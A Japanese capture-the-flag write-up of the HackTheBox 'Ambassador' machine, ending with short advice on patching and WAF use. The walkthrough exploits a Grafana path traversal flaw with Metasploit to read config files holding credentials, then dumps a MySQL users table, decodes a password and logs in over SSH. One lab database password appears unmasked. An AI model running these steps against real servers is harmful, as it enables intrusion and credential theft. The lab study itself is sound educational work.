HTB Ambassador Writeup と Directory Traversal 対策

この記事では HackTheBox Ambassador の Writeup とその対策について記載します。
結論、Grafana の CVE-2021-43798　に該当するディレクトリトラバーサルの脆弱性を利用してフラグを取得することになります。また、この記事ではディレクトリトラバーサルの対策についても考察します。

# Writeup
該当の　Machine の IP アドレスは今回は 10.10.11.183 です。
![ip.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/44348/72616a70-6d4f-3726-84db-48a1de716c59.png)

nmap でポートスキャンを実施します。-sV 実際に開いているポートとフィルタ処理されたポートを識別します。
```
$ sudo nmap -sV 10.10.11.183
Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-08 20:03 JST
Nmap scan report for 10.10.11.183
Host is up (0.17s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
```

TCP 80 ポートが解放されているため、ブラウザでアクセスするために hosts にレコードを追加。
```
$ echo "10.10.11.183 ambassador.htb" | sudo tee --append /etc/hosts
```

WEB　ブラウザで http://ambassador.htb:3000 にアクセスします。フッター部分に v8.2.0 と記載があります。
![graphana.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/44348/8db082d2-e865-7e3d-4404-038c476e80a2.png)

msfconsole　で Grafana v8.2.0 の脆弱性のエクスプロイトを検索します。
```
$ sudo msfconsole
msf6 > updatedb
[*] exec: updatedb

msf6 > search Grafana

Matching Modules
================

   #  Name                                             Disclosure Date  Rank    Check  Description
   -  ----                                             ---------------  ----    -----  -----------
   0  auxiliary/admin/http/grafana_auth_bypass         2019-08-14       normal  No     Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
   1  auxiliary/scanner/http/grafana_plugin_traversal                   normal  No     Grafana Plugin Path Traversal


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/grafana_plugin_traversal
```

ディレクトリトラバーサルのエクスプロイトを利用し実行します。
```
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > info

       Name: Grafana Plugin Path Traversal
     Module: auxiliary/scanner/http/grafana_plugin_traversal
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  h00die
  jordyv

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name          Current Setting                          Required  Description
  ----          ---------------                          --------  -----------
  DEPTH         13                                       yes       Traversal depth
  FILEPATH      /etc/grafana/grafana.ini                 yes       The name of the file to download
  PLUGINS_FILE  /usr/share/metasploit-framework/data/wo  yes       File containing plugins to enumerate
                rdlists/grafana_plugins.txt
  Proxies                                                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasplo
                                                                   it/basics/using-metasploit.html
  RPORT         3000                                     yes       The target port (TCP)
  SSL           false                                    no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /                                        yes       Path to Grafana instance
  THREADS       1                                        yes       The number of concurrent threads (max one per host)
  VHOST                                                  no        HTTP server virtual host

msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb

msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run

[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress   0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

grafana.ini を取得できたため「File saved in」以降のローカルに保存された ini ファイルを参照し、admin_password を見つけます。
```
$ sudo cat /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini | less

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = ***************
```

ブラウザで「http://ambassador.htb:3000/login」にアクセスして grafana.ini より取得したアカウントの ID とパスワードを入力して「Log in」ボタンを押下し、ブラウザで Grafana の設定画面を参照します。nmap の結果より TCP 3306 が解放されていたことからデータソースを確認します。以下の通り MySQL が指定されてあり、mysql.yaml で定義されていることがわかります。
![mysql.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/44348/77ddafa3-088b-906f-b8ff-45c2f17b1915.png)

mysql.yaml は Grafana 公式ページ（https://grafana.com/docs/grafana/latest/administration/provisioning/）より /etc/grafana/provisioning/datasources/mysql.yaml にあると分かります。エクスプロイトより ini ファイルを参照します。
```
$ sudo msfconsole
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set FILEPATH /etc/grafana/provisioning/datasources/mysql.yaml
FILEPATH => /etc/grafana/provisioning/datasources/mysql.yaml
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run

[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress   0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed　

$ sudo cat /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
apiVersion: 1

datasources:
 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: *************
   editable: false
```

ポートスキャンの結果より 3306 が解放されていたことより、mysql.yaml から得たユーザ名とパスワードでアクセスを試行し中身を参照します。users テーブルが存在することがわかり参照します。
```
$ mysql -h ambassador.htb -u grafana --password=dontStandSoCloseToMe63221!

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.211 sec)

MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.181 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | **************************************== |
+-----------+------------------------------------------+
1 row in set (0.246 sec)
```

pass が = でパディングされていることから Base64 を疑いでデコードし SSH を試行しフラグを取得します。
```
$ echo -n "**************************************==" | base64 -d
< ssh password >

$ ssh developer@ambassador.htb 
developer@ambassador.htb's password: < ssh password >
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)

developer@ambassador:~$ ls
snap  user.txt

developer@ambassador:~$ cat user.txt 
```

# 考察
今回の脆弱性では、サーバ内ファイルの閲覧がされました。対策は２つあります。
- 定期的なソフトウェア自動アップデート
- WAF 導入による防御

また、今回脆弱性では適用は困難ですが、ファイルの権限厳格化またはファイル名の難読化が有効です。

定期的なソフトウェアアップデートは、AWS 環境であれば [OpsWork](URL "https://docs.aws.amazon.com/ja_jp/opsworks/latest/userguide/workingsecurity-updates.html") を利用したり、yum-cron で自動化することがおすすめです。

また、WAF においても、制御ルールの保守が煩雑になるためフルマネージドサービスを適用し運用することで自動化ができます。